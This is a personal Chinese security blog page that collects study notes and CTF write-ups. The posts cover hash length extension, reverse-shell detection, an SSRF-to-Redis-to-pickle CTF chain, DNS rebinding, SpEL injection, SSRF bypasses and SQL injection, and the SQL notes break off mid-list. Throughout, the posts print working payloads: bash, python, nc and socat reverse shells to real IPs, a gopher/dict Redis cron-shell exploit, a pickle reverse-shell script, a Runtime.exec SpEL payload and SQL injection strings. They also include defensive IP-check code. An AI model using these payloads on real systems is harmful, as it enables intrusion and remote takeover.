欣海余诚's blog

习惯成自然


  • 首页

  • 归档

  • 标签

  • 分类

  • 留言

  • 关于

学习Hash长度扩展攻击

发表于 2020-06-07 | 分类于 密码学

Hash算法原理简化版

image

分组不够56字节用\x80\x00\x00…补够,然后最后八字节为长度描述符,由Hash算法补充,一共64字节。

image

长度描述符计算的是文本的真实长度(单位bit,1字节=8 it),不包含填充长度。

Hash长度扩展攻击原理

从图1中可以看出,Hash算法初始向量是固定的,第n个向量可以通过第n-1个向量与第n个分组计算得出。这个第n个向量经高低位互换后也就是这个文本的Hash值。

假设有两个不同的字符串str1和str2,他们的分组1相同,str2有分组2而str1没有。

1
2
str1: 分组1
str2: 分组1 分组2

那么由于他们的分组1相同,所以向量1也相同(初始向量和分组1计算得到向量1)。

正常的Hahs算法为下图中的实线部分。

image

解释虚线部分:

由str1的Hash值(经高低位互换后成为向量1)和str2的分组2计算也可以得到str2的Hash值。这个就是Hash长度扩展攻击的利用原理。

利用场景如下。

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include "secret.php";
@$username=(string)$_POST['username'];
function enc($text){
global $key;
return md5($key.$text);
}
if(enc($username) === $_COOKIE['verify']){
if(is_numeric(strpos($username, "admin"))){
echo $key;
}
else{
die("you are not admin");
}
}
else{
setcookie("verify", enc("guest"), time()+60*60*24*7);
setcookie("len", strlen($key), time()+60*60*24*7);
}
show_source(__FILE__);
?>

这里的md5($key.$text) 就相当于上面str1的Hash值,分组1是

1
$key(21字节) + "guest"(5字节) + "\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"(30字节) + "\x00\x00\x00\x00\x00\x00\x00\xd0"(8字节)

根据前面的原理,我们构造一个str2,让它的分组1和str1的分组1相同,分组2为包含admin用以绕过检查。然后用str1的分组1(已知,即str1的hash值高低位互换)计算出str2的hash值。

str2字符串的值为:

1
$key(21字节) + "guest"(5字节) + "\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"(30字节) + "\x00\x00\x00\x00\x00\x00\x00\xd0"(8字节) + "admin"

Hashdump可以帮我们自动化计算:

1
2
3
4
5
6
7
root@kali2018:~/md5/HashPump# ./hashpump 
Input Signature: f8d7a112644f7e71e1e8ad068f144f61 [已知str1的hash值]
Input Data: guest [username, hash中已知的data]
Input Key Length: 26 [length($key + guest)]
Input Data to Add: admin [用来绕过admin检查]
84b4590d78bf2a8cdd5612cad68e4ab5 [str2的hash]
guest\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf8\x00\x00\x00\x00\x00\x00\x00admin

所以提交$_COOKIE['verify']=84b4590d78bf2a8cdd5612cad68e4ab5,username=guest%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%f8%00%00%00%00%00%00%00admin即可。

image

参考

  • https://www.cnblogs.com/pcat/p/5478509.html
  • https://blog.csdn.net/syh_486_007/article/details/51228628
  • https://www.freebuf.com/articles/web/69264.html

反弹shell特征研究

发表于 2020-06-03 | 分类于 应急响应

前言

从hids的角度出发,看反弹shell的特征。

最简单的,可以根据进程黑名单直接监测到一些反弹shell,如nc、socat、bash -i >& /dev/tcp/xxx/xxx。这种检测也是很好绕过的,给可执行文件的名字换了即可。

所以这次学习一下通用的反弹shell检测方式——文件描述符重定向。

特征1. 所有文件描述符重定向至远程socket

bash -i

1
bash -i >& /dev/tcp/192.168.7.61/7777 0>&1

创建了一个常住进程”bash -i”, 012文件描述符都被重定向至远程socket链接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pauser@ubuntu:~$ ps -ef| grep bash
pauser 11509 11502 0 08:35 pts/2 00:00:00 bash
pauser 11547 11509 0 08:36 pts/2 00:00:00 bash -i
pauser 11557 11502 0 08:36 pts/18 00:00:00 bash
pauser 11648 11557 0 08:39 pts/18 00:00:00 grep --color=auto bash
pauser@ubuntu:~$ ls -l /proc/11547/fd
total 0
lrwx------ 1 pauser pauser 64 Jun 17 08:36 0 -> socket:[824338]
lrwx------ 1 pauser pauser 64 Jun 17 08:36 1 -> socket:[824338]
lrwx------ 1 pauser pauser 64 Jun 17 08:36 2 -> socket:[824338]
lrwx------ 1 pauser pauser 64 Jun 17 08:36 255 -> /dev/tty
pauser@ubuntu:~$ lsof -p 11547
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
bash 11547 pauser cwd DIR 8,1 4096 281418 /home/pauser
bash 11547 pauser rtd DIR 8,1 4096 2 /
bash 11547 pauser txt REG 8,1 1037528 393569 /bin/bash
...
bash 11547 pauser 0u IPv4 824338 0t0 TCP 192.168.71.139:56374->106.52.206.218:8888 (ESTABLISHED)
bash 11547 pauser 1u IPv4 824338 0t0 TCP 192.168.71.139:56374->106.52.206.218:8888 (ESTABLISHED)
bash 11547 pauser 2u IPv4 824338 0t0 TCP 192.168.71.139:56374->106.52.206.218:8888 (ESTABLISHED)
bash 11547 pauser 255u CHR 5,0 0t0 13 /dev/tty

lsof: 查看进程打开的文件的工具

python/perl/ruby等脚本语言类反弹shell

1
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('106.52.206.218',8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

文件描述符也是都被重定向至远程socket连接.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pauser@ubuntu:~$ ls -l /proc/45638/fd
total 0
lrwx------ 1 pauser pauser 64 Jun 17 08:51 0 -> socket:[860316]
lrwx------ 1 pauser pauser 64 Jun 17 08:51 1 -> socket:[860316]
lrwx------ 1 pauser pauser 64 Jun 17 08:51 2 -> socket:[860316]
lrwx------ 1 pauser pauser 64 Jun 17 08:51 3 -> socket:[860316]
pauser@ubuntu:~$ lsof -p 45638
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
python 45638 pauser cwd DIR 8,1 4096 281418 /home/pauser
python 45638 pauser rtd DIR 8,1 4096 2 /
python 45638 pauser txt REG 8,1 3492624 292 /usr/bin/python2.7
python 45638 pauser mem REG 8,1 2366112 263076
...
python 45638 pauser 0u IPv4 860316 0t0 TCP 192.168.71.139:56384->106.52.206.218:8888 (ESTABLISHED)
python 45638 pauser 1u IPv4 860316 0t0 TCP 192.168.71.139:56384->106.52.206.218:8888 (ESTABLISHED)
python 45638 pauser 2u IPv4 860316 0t0 TCP 192.168.71.139:56384->106.52.206.218:8888 (ESTABLISHED)
python 45638 pauser 3u IPv4 860316 0t0 TCP 192.168.71.139:56384->106.52.206.218:8888 (ESTABLISHED)

nc 反弹shell

1
/bin/nc.traditional -e /bin/bash 134.175.2.34 8888

进程中对应的是bash:

image

文件描述符:

image

特征2. 通过管道、重定向多次后连接至远程

nc重定向

1
/bin/nc.traditional 134.175.2.34 8888 | /bin/bash

根据bash进程定位到文件描述符,发现输入描述符0被重定向至管道:

image

定位管道另一端的进程nc,该进程文件描述符3连接远程socket连接:

image

还有一个nc反弹shell命令:

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 110.211.55.2 7777 >/tmp/f

mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准
输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路

定位到sh -i进程:

image

根据pipe找到nc进程,描述符3重定向至远程socket连接:

image

总结:

0,1,2标准输入输出、错误输出流被指向pipe管道,管道指向到另一个进程会有一个对外的socket链接,中间或许经过多层管道,但最终被定向到的进程必有一个socket链接。

特征3. socat

1
2
3
4
反弹命令
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.211.55.2:9999
监听命令
socat file:`tty`,raw,echo=0 tcp-listen:9999

定位文件描述符:

image

SOCK_DGRAM 是无保障的面向消息的socket,主要用于在网络上发广播信息。

bash通过管道与socat进程通信,但是管道并不是重定向的标准输入输出、标准错误输出这三个流,而是其他的流,然后在程序内部再将该pipe管道定向到0,1,2这三个文件描述符。

其它(待研究)

  • MSF生成的python payload
  • DNS/ICMP 反弹shell

参考链接

  • 基于主机的反弹shell检测思路
  • 反弹shell流量分析

Pwnhub公开赛之WEB题WriteUp

发表于 2020-06-02 | 分类于 CTF

0x00 前言

前段时间刚好看了p师傅的《Python安全 - 从SSRF到命令执行惨案》,没想到这次pwnhub公开赛就碰到了,思路几乎一模一样,都是通过ssrf结合python urllib的http头注入漏洞,对redis进行利用。

本人总结的原文思路如下图:

image

0x01 SSRF

随意注册账号后进入系统,检查了一遍只有一个 flag-spider功能,让输入url。猜测是考ssrf。

image

测试了几个地址,发现

  1. 可以连接到远程vps。

    image

  2. 可以使用file:///协议读取本地文件,尝试读取常见flag路径,不出意外是失败的,应该是改名了。

    image

  3. 6379端口开放redis服务

    image

0x02 代码审计

使用file协议file:///proc/self/cmdline读取运行命令,发现是用gunicorn服务器启动了run.py文件。

1
gunicorn --config=config.py run:app

读取run.py :

image

根据源码中import的模块,将user.py、sipder.py都读取下来,本地搭个环境进行测试。

首先看flag-spider功能的逻辑,定位到run.py中spider函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@ app.route('/spider/', methods = 「'GET', 'POST'1)
def spider():
cookie = request.cookies.get( 'Cookie')
try:
if Cookie.verify(cookie) and redis.exists(cookie):
user = redis.get(cookie)
user = pickle. loads(user)
except:
return abort(500)
result = ''
if request.method == "GET":
result = ''
elif request.method != “GET" and request.form.get('url') != None:
try:
target_url = request.form.get('url')
new spider = Spider(target url)
result = new spider.spiderFlag()
except Excetion as e:
result e
return render template("spider.html", result = str(result), user = user)

分析spider函数可知:

  1. 获取cookie,如果cookie验证通过且redis存在,则获取redis中cookie对应的值进行反序列化
  2. 如果method不为get且传入url参数,则调用Spider类对url进行爬取。

再看Spider类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import urllib 
import urllib.request
from bs4 import BeautifulSoup
class Spider:
def __init__(self, url):
self.target_url = url
def __getResponse(self):
try:
info = urllib.request.urlopen(self.target_url).read().decode("utf-8")
return (info, True)
except Exception as err:
return (err, False)
def spiderFlag(self):
infos = self.__getResponse()
if infos[1]:
soup = BeautifulSoup(infos[0])
flag = soup.find(id=='flag')
return infos[0]
return flag.text
return infos[0]

可以看出Spider类使用了urllib库对目标url发起请求,而这个库恰好也是p师傅文章中利用的一个点。

注册逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@ app.route('/register/', methods = ['GET', 'POST']) 
def register():
if request.method != 'GET':
email = request.form.get('email')
username = request.form.get('username')
password = request.form.get('password')
user = User(email, username, password)
cookie = Cookie()
cookie.create = username
cookie = cookie.create
try:
if not redis.exists(cookie):
redis.set(cookie, pickle.dumps(user))
resp = make_response(redirect(url_for('home')))
resp.set_cookie("Cookie", cookie)
return resp
except: abort(500)

return render_template("register.html")
  1. 访问页面时先根据cookie在redis中查找key,若有则进行反序列化。
  2. 用户注册时,根据user生成一个hash值,再拼接user作为cookie
  3. User对象反序列化存储到redis中,对应的key就是cookie

本地测试注册后redis中的数据:

image

猜测肯定就是要利用反序列化漏洞了。思路就是将redis中用户对应的的key设置为序列化后的payload,然后重新访问页面触发。

接下来需要解决如何设置redis中的任意key,也就是找到urllib漏洞。

0x03 Python urllib3.5 CRLF注入

通过发送http请求对redis进行利用方式是,在请求包协议行后(也就是第二行)插入redis命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
GET / HTTP/1.1
config set dir /tmp
Host: xx.xx.xx.xx:6379
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close

GET /? HTTP/1.1
config set dbfilename test
Host: xx.xx.xx.xx:6379
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close

GET /? HTTP/1.1
save
Host: xx.xx.xx.xx:6379
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close

那么如果控制了http请求头,就可以在redis中执行set命令,将key设置为paylaod。

从服务器发送到vps的请求头看,目标服务器用的是urllib3.5版本。

在本地下载python3.5.0,测试如下:

  • CVE-2016-5699(失败): http://[vps-ip]%0d%0aX-injected:%20header:8888
  • CVE-2019-9740(失败): http://[vps-ip]%0d%0a%0d%0aheaders:8888
  • CVE-2019-9947(失败): http://[vps-ip]:8888?%0d%0apayload%0d%0apadding
  • CVE-2019-9740(成功): http://[vps-ip]:8888?%20HTTP/1.1%0d%0aCONFIG SET dir /tmp%0d%0aTEST: 123:8080/test/?test=a

image

payload:

1
2
3
http://127.0.0.1:6378?%20HTTP/1.1%0d%0aCONFIG SET dir /tmp%0d%0aTEST: 123:8080/test/?test=a
http://127.0.0.1:6378?%20HTTP/1.1%0d%0aCONFIG SET dbfilename test12345%0d%0aTEST: 123:8080/test/?test=a
http://127.0.0.1:6378?%20HTTP/1.1%0d%0aSAVE%0d%0aTEST: 123:8080/test/?test=a

本地在burp中测试了多次(\r\n要url编码),返回报错:

image

但是服务器上成功创建了文件:

image

对比赛服务器进行测试,写入到/tmp/qweqwe文件,再用file:///tmp/qweqwe读取。

image

报utf-8 code can't decode byte xxx,说明文件写成功。

0x04 Redis利用

接下来尝试修改redis中的key。

本地测试payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python
import pickle
from flask import Flask, session
from redis import StrictRedis
from user import *
import os
import requests

app = Flask(__name__)
redis = StrictRedis(host = '127.0.0.1', port = 6378, db = 0)


class exp(object):
def __reduce__(self):
s = """/usr/local/python3/bin/python3.5 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("134.175.2.34",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system, (s,))

def localtest():
key = 'admin1ac8dc1444250362004b743fa951951b'
e = pickle.dumps(exp()).replace("\n",'\\n').replace("\"","\\\"")

payload = "http://127.0.0.1:6378?%20HTTP/1.1\r\nset \"admin1ac8dc1444250362004b743fa951951b\" \"" + e + "\"\r\nTEST: 123:8080/test/?test=a"
print payload
data = {'url': payload}
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
r = requests.post("http://134.175.2.34:5000/spider/", data=data, headers=headers)
print r.content

localtest()

image

redis中反弹shell写入成功:

image

触发反序列化

1
curl -X POST 'http://127.0.0.1:5000/spider/'

成功反弹shell:

image

远程测试发现建立了连接,但是并没有shell。尝试备用地址才反弹成功,不知道什么原因= =。

image

最终在根目录下发现flag文件。

0x05 参考链接

  • Python安全 - 从SSRF到命令执行惨案
  • 清华校赛THUCTF2019 之 ComplexWeb
  • CVE-2019-9740 Python urllib CRLF injection vulnerability 浅析

DNS Rebinding

发表于 2020-05-22 | 分类于 WEB安全

DNS TTL

TTL值全称是“生存时间(Time To Live)”,简单的说它表示DNS记录在DNS服务器上缓存时间,数值越小,修改记录各地生效时间越快。

当各地的DNS(LDNS)服务器接受到解析请求时,就会向域名指定的授权DNS服务器发出解析请求从而获得解析记录;该解析记录会在DNS(LDNS)服务器中保存一段时间,这段时间内如果再接到这个域名的解析请求,DNS服务器将不再向授权DNS服务器发出请求,而是直接返回刚才获得的记录;而这个记录在DNS服务器上保留的时间,就是TTL值。

常见的设置TTL值的场景:

  1. 增大TTL值,以节约域名解析时间
  2. 减小TTL值,减少更新域名记录时的不可访问时间

DNS Rebinding

原理就是上面的第二种,设置一个非常小的TTL值,让客户端发出的两次请求获得的解析结果不同。

常见ssrf防御场景:

php的waf做判断的时候,第一次会解析域名的ip,然后判断这个ip是不是内网ip,如果不是内网ip的时候,再去真正用curl请求这个域名。

这就牵涉到了,curl请求这个域名会做第二次域名解析,重新对dns服务器进行请求,获得到一个内网ip,这时候就是绕过限制请求到了内网资源。

当然需要ttl设置为0

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$dst = @$_GET['KR'];
$res = @parse_url($dst);
$ip = @dns_get_record($res['host'], DNS_A)[0]['ip'];
...

$dev_ip = "54.87.54.87";

if($ip === $dev_ip) {

$content = file_get_contents($dst);

echo $content;

}

使用dns rebinding测试网站提供的域名(测试不太好使,解析不到该域名,待研究),随机返回两个ip地址。(使用时应该需要多测几遍)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ host 7f000001.c0a80001.rbndr.us
7f000001.c0a80001.rbndr.us has address 192.168.0.1
$ host 7f000001.c0a80001.rbndr.us
7f000001.c0a80001.rbndr.us has address 127.0.0.1
$ host 7f000001.c0a80001.rbndr.us
7f000001.c0a80001.rbndr.us has address 127.0.0.1
$ host 7f000001.c0a80001.rbndr.us
7f000001.c0a80001.rbndr.us has address 192.168.0.1
$ host 7f000001.c0a80001.rbndr.us
7f000001.c0a80001.rbndr.us has address 127.0.0.1
$ host 7f000001.c0a80001.rbndr.us
7f000001.c0a80001.rbndr.us has address 127.0.0.1
$ host 7f000001.c0a80001.rbndr.us
7f000001.c0a80001.rbndr.us has address 192.168.0.1

一个自定义dns解析的网站:http://rbnd.gl0.eu/dnsbin

image

在record中设置要解析的ip地址,submit后会自动生成一个domain。解析这个domain就会得到填写的ip地址。

image

SpEL表达式注入

发表于 2020-04-17 | 分类于 WEB安全

EL表达式

先学习一波EL表达式。

EL全名为Expression Language, 可以在JSP页面上直接使用。

格式:${表达式内容}

Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<%@ page import="java.io.*,java.util.*" %>
<%
String title = "EL Example";
%>
<html>
<head>
<title><% out.print(title); %></title>
</head>
<body>
<div align="center">
<p>username: ${param["username"]}</p>
<p>query string: ${pageContext.request.queryString}</p>
<p>user-agent: ${header["user-agent"]}</p>
<p>1+1: ${1 + 1}</p>
</div>
</body>
</html>

image

作用就是在JSP页面操作变量更加灵活。

参考JSP菜鸟教程。

SpEL表达式

SpEL(Spring Expression Language),即Spring表达式语言。类似JSP的EL表达式。

作用

可以直接操作Spring管理的各种bean、变量、properties配置文件等数据。

用法

Springboot Demo:

1
2
3
4
5
6
7
8
9
10
11
@RequestMapping(value = "/testEL/{el}", method = RequestMethod.GET)
public String testEL(@PathVariable String el){
//创建ExpressionParser解析表达式
ExpressionParser parser = new SpelExpressionParser();
//SpEL表达式语法设置在parseExpression()入参内
Expression exp = parser.parseExpression(el);
//执行SpEL表达式
Object value = exp.getValue();

return value.toString();
}

image

参考https://blog.csdn.net/u010086122/article/details/81566515

从一到CTF题目学SpEL表达式注入

原文过程讲的很清楚,这里记录几个点:

  1. 调试Jar包方法:
  • java -Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=y -jar jar包名
  • idea -< edit configure -> + Remote -> 一切默认
  • 点击debug图标开始debug
  1. Windows下弹出计算器payload:

使用”T(Type)”来表示java.lang.Class类的实例,即如同java代码中直接写类名。

1
T(String).getClass().forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(T(String).getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(T(String).getClass().forName("java.lang.Runtime")),new String[]{"calc.exe"})

image

SSRF笔记

发表于 2019-12-04 | 分类于 WEB安全

描述

SSRF是一种常见的Web漏洞,通常存在于需要请求外部内容的逻辑中,比如本地化网络图片、XML解析时的外部实体注入、软件的离线下载等。当攻击者传入一个未经验证的URL,后端代码直接请求这个URL,将会造成SSRF漏洞。

绕过

1. host绕过

  1. http://233.233.233.233@10.0.0.1:8080/
  2. http://10.0.0.1#233.233.233.233

2. IP地址检查绕过

  1. 利用八进制IP地址绕过
  2. 利用十六进制IP地址绕过
  3. 利用十进制的IP地址绕过
  4. 利用IP地址的省略写法绕过
  5. 0.0.0.0

3. 控制域名解析

使用这个神奇的域名xip.io可以将解析到任意ip地址,使用方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
D:\libnum (master -> origin)                              
λ ping 127.0.0.1.xip.io

正在 Ping 127.0.0.1.xip.io [127.0.0.1] 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128

127.0.0.1 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms

4. 使用302跳转返回内网地址

输入的是一个外网地址,该地址服务器返回302状态码,location是内网ip如127.0.0.1。此时如果curl没有设置“禁止重定向”的话就会向重定向地址发出请求。

5. dns rebinding

利用

1.内外网的端口和服务扫描

2.[主机本地敏感数据的读取(https://www.codercto.com/a/59762.html)

3.内外网主机应用程序漏洞的利用(gopher)

4.内外网Web站点漏洞的利用

curl支持的协议:

1
2
3
4
root@localhost :curl -V
curl 7.54.0 (x86_64-apple-darwin17.0) libcurl/7.54.0 LibreSSL/2.0.20 zlib/1.2.11 nghttp2/1.24.0
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp
Features: AsynchDNS IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz HTTP2 UnixSockets HTTPS-proxy

gopher协议 攻击redis

url=gopher://127.0.0.1:6379/info

攻击redis常用exp:(反弹shell至134.175.2.34的2333端口)
1
2
3
4
5
redis-cli -h 134.175.2.34 -p 6378 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/134.175.2.34/2333 0>&1\n\n"|redis-cli -h 134.175.2.34 -p 6378 -x set 1
redis-cli -h 134.175.2.34 -p 6378 config set dir /var/spool/cron/
redis-cli -h 134.175.2.34 -p 6378 config set dbfilename root
redis-cli -h 134.175.2.34 -p 6378 save
gopher协议exp:
1
gopher://134.175.2.34:6378/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/134.175.2.34/23333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
将exp urlencode后在ssrf中使用:
1
http://localhost/CTF/ssrf.php?url=gopher://134.175.2.34:6378/_*1%25%30%64%25%30%61%24%38%25%30%64%25%30%61%66%6c%75%73%68%61%6c%6c%25%30%64%25%30%61%2a%33%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%25%30%64%25%30%61%31%25%30%64%25%30%61%24%36%34%25%30%64%25%30%61%25%30%64%25%30%61%25%30%61%25%30%61%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%33%34%2e%31%37%35%2e%32%2e%33%34%2f%32%33%33%33%33%20%30%3e%26%31%25%30%61%25%30%61%25%30%61%25%30%61%25%30%61%25%30%64%25%30%61%25%30%64%25%30%61%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%33%25%30%64%25%30%61%64%69%72%25%30%64%25%30%61%24%31%36%25%30%64%25%30%61%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%30%25%30%64%25%30%61%64%62%66%69%6c%65%6e%61%6d%65%25%30%64%25%30%61%24%34%25%30%64%25%30%61%72%6f%6f%74%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%73%61%76%65%25%30%64%25%30%61%71%75%69%74%25%30%64%25%30%61
curl直接发起gopher攻击:
1
curl -v 'gopher://134.175.2.34:6378/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/134.175.2.34/23333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

dict攻击redis

dict://127.0.0.1:6379/info

1
2
3
4
5
6
7
tools.php?a=s&u=dict://www.x.cn:6379/config:set:dir:/var/spool/cron/

tools.php?a=s&u=dict://www.x.cn:6379/config:set:dbfilename:root

tools.php?a=s&u=dict://www.x.cn:6379/set:0:"\x0a\x0a*/1\x20*\x20*\x20*\x20*\x20/bin/bash\x20-i\x20>\x26\x20/dev/tcp/vps/8888\x200>\x261\x0a\x0a\x0a"

tools.php?a=s&u=dict://www.x.cn:6379/save

遇到无回显ssrf怎么办

  1. 测试输入,看是否为Bool型。Bool型SSRF是根据返回包中的state进行判断,当state为”远程连接出错”或者为“SUCCESS”时表示该主机存在,且对应的端口为开放状态。
  2. dnslog

防御

检查请求url中的host不为内网ip即可。具体实现:

  1. 解析目标URL,获取其Host

  2. 解析Host,获取Host指向的IP地址

  3. 检查IP地址是否为内网IP

    1
    2
    3
    4
    5
    192.168.0.0/16 => 192.168.0.0 ~ 192.168.255.255
    10.0.0.0/8 => 10.0.0.0 ~ 10.255.255.255
    172.16.0.0/12 => 172.16.0.0 ~ 172.31.255.255
    127.0.0.0/8
    0.0.0.0/8
  4. 请求URL

  5. 如果有跳转,拿出跳转URL,执行1

PHP代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function check_ip($url){ //检查是否是内网ip范围——方法一

if( ip2long($url) >= ip2long('127.0.0.0') && ip2long('127.255.255.255') >= ip2long($url) ){

echo 'inner ip';
}else if(ip2long($url) >= ip2long('172.16.0.0') && ip2long($url) <= ip2long('172.31.255.255')){
echo 'inner ip';
}else if(ip2long($url) >= ip2long('10.0.0.0') && ip2long($url) <= ip2long('10.255.255.255')){
echo 'inner ip';
}else if(ip2long($url) >= ip2long('192.168.0.0') && ip2long($url) <= ip2long('192.168.255.255')){
echo 'inner ip';
}else if(ip2long($url) == ip2long('0.0.0.0')){
echo 'inner ip';
}else{
echo 'outer ip';
}
}

function check_ip2($url){//检查是否是内网ip范围——方法二

if (ip2long($url) >> 24 == ip2long('127.0.0.0') >> 24){
echo 'inner ip';
}else if(ip2long($url) >> 24 == ip2long('10.0.0.0') >> 24){
echo 'inner ip';
}else if(ip2long($url) >> 16 == ip2long('172.16.0.0') >> 16){
echo 'inner ip';
}else if(ip2long($url) >> 16 == ip2long('192.168.0.0') >> 16){
echo 'inner ip';
}else if(ip2long($url) >> 24 == ip2long('0.0.0.0') >> 24){
echo 'inner ip';
}else{
echo 'outer ip';
}
}

function get_hostname($url){ //获取url中的hostname
$url_parse=parse_url($url);
$hostname=$url_parse['host'];
return $hostname;
}

参考链接

  • SSRF在有无回显方面的利用及其思考与总结
  • 常见ssrf防御及绕过

SQL注入笔记

发表于 2019-11-20 | 分类于 WEB安全

0x01 常见注入类型

一、带回显

1. 联合注入

1
2
3
4
5
6
7
8
9
10
11
12
13
id=1' and 1=1--+   ==>   id=1' and 1^0--+   ==>  select !0
id=1' and 1=2--+ ==> id=1' and 1^1--+ ==>
1' and '1'='1
1' --+
1' order by 2 -- -
1' union select 1,2-- -
注表名
1' union select database(), group_concat(table_name) from information_schema.tables where table_schema=database()-- -
注列名:
1' union select table_name, group_concat(column_name) from information_schema.columns where table_name='xxx'-- -;
select !1
//注flag:
id=-1'%20union%20select%201,username,password%20from%20security.users--+

2.报错注入

  1. 双查询注入(Duplicate entry报错)

    1
    id=1' union select 1,count(*),concat_ws(':',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand()*2)) as a from information_schema.tables group by a --+

